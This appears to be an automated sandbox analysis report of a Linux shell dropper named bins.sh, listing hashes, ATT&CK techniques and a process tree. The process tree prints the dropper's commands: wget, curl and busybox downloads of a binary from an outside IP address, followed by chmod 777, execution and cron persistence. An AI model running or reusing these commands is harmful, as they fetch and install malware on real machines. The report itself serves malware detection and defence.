6635e19968c3d0cdf14b07796a656dfe56415c8586c44aa8e509c937b5245b32

General

Target

bins.sh
Size

10KB
MD5

a11f92e48c1efd2e63aed95cbe04af94
SHA1

c2de2f9e256ef84ee067c9211d373059fed96d1b
SHA256

6635e19968c3d0cdf14b07796a656dfe56415c8586c44aa8e509c937b5245b32
SHA512

78df94801ccc2831ce184b9de6a62ea70331f41cfcd9f7b112900401710d5623f4c862a1e52859316e626b608feed0c5d79fd2377d3ac8a12c2563c8365a572a
SSDEEP

192:JIc+rDhaJ8N5Lyyp1p/bLZ1Ic+rDK1peN5Lyy+G:6aJM1p/blR1pa

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

1520 chmod
Executes dropped EXE 1 IoCs

Processes:

RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

ioc pid process

/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT 1521 RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
Renames itself 1 IoCs

Processes:

RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

pid process

1522 RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.5G6ReL crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1520	chmod

ioc	pid	process
/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	1521	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

pid	process
1522	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.5G6ReL	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

description	ioc	process
File opened for reading	/proc/1263/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/492/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1588/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1594/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/17/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/35/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/159/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/170/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1313/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1560/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/2/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/80/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/160/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/561/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1529/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1579/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1619/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/553/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1151/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1172/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1547/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1565/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1592/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/9/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1051/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1598/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1614/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/168/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1586/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/14/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1602/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1384/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1546/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1559/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1609/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/407/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1634/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1101/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1618/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1589/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/11/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1291/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1549/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1587/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1189/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1564/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1605/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/712/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1016/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1154/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1567/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/18/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/475/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1540/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/15/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/32/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/165/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1121/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1180/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1530/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1551/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1636/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/21/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/84/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	wget
File opened for modification	/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	curl
File opened for modification	/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1512
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1513
- /usr/bin/wget
  wget http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Writes file to tmp directory
  PID:1514
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/chmod
  chmod 777 RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  ./RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1521
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1523
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1524
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1525
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1526
- /bin/rm
  rm RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  PID:1528
- /usr/bin/wget
  wget http://216.126.231.240/bins/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  PID:1531

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.5G6ReL

Filesize
210B

MD5
527abae1f17124aaefd3b8ee14041742

SHA1
9a29a5acc0b1aeb1355f600bcdfe119849feecf3

SHA256
ad77efddc24a18142990fc2fd3895e860124484baee2b8854f0d3976b7eb0335

SHA512
97ded3ddff6e1e35771e250545f0b29d400973563f5a23132b057cddfb16168582870339e9c26bf245c8dad1defc4481bdc01094a9af7818c3473592c31c2df6

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads